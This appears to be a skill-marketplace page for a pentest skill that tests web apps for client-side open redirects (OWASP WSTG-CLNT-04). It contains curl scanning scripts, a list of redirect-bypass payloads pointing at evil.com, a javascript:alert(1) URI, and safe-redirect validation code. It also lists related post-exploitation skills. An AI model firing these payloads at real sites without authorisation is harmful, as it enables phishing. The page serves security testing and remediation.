Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-04명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SKILL.md 표시 중
SOC 직업 분류 기준
| name | wstg-clnt-04 |
| description | Testing for Client-Side URL Redirect |
| category | client-side |
| owasp_id | WSTG-CLNT-04 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-601"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-04
Testing for Client-Side URL Redirect
Client-side URL redirect vulnerabilities (open redirects) occur when JavaScript redirects users based on URL parameters without validation. Attackers can craft links that redirect victims to malicious sites, facilitating phishing attacks.
#!/bin/bash
TARGET="https://target.com"
# Common redirect parameters
params=("url" "redirect" "next" "return" "returnUrl" "goto" "destination" "redir" "redirect_uri" "continue")
for param in "${params[@]}"; do
response=$(curl -sI "$TARGET/login?$param=https://evil.com" | grep -i "location")
if echo "$response" | grep -qi "evil.com"; then
echo "[VULN] Open redirect via: $param"
fi
#!/bin/bash
TARGET="https://target.com"
PARAM="redirect"
payloads=(
"https://evil.com"
"//evil.com"
"https://target.com.evil.com"
"https://evil.com/target.com"
"https://target.com@evil.com"
"javascript:alert(1)"
"//evil.com/%2f%2e%2e"
"https:evil.com"
"/\\evil.com"
)
for payload in "${payloads[@]}"; do
echo "Testing: $payload"
curl -sI "$TARGET/auth?$PARAM=$payload" | grep -i "location"
done
// Search for these patterns in JS files:
// location.href =
// location.replace(
// window.location =
// window.open(
// Check if URL parameter is used without validation
const urlParams = new URLSearchParams(window.location.search)
const redirectUrl = urlParams.get("redirect")
// Vulnerable pattern:
window.location.href = redirectUrl // No validation!
// Safe pattern:
const allowedHosts = ["target.com", "sub.target.com"]
try {
const url = new URL(redirectUrl)
if (allowedHosts.includes(url.hostname)) {
window.location.href = redirectUrl
}
} catch (e) {
// Invalid URL
}
function safeRedirect(url) {
const allowedHosts = ["example.com", "sub.example.com"]
try {
const parsed = new URL(url, window.location.origin)
// Only allow same-origin or whitelisted hosts
if (parsed.origin === window.location.origin || allowedHosts.includes(parsed.hostname)) {
window.location.href = parsed.href
} else {
window.location.href = "/" // Default safe redirect
}
} catch (e) {
window.location.href = "/"
}
}
| Finding | CVSS | Severity |
|---|---|---|
| Open redirect | 4.7 | Medium |
| javascript: URI redirect | 6.1 | Medium |
| CWE ID | Title |
|---|---|
| CWE-601 | URL Redirection to Untrusted Site |
[ ] Redirect parameters identified
[ ] Bypass techniques tested
[ ] JavaScript redirect code analyzed
[ ] javascript: URI tested
[ ] Findings documented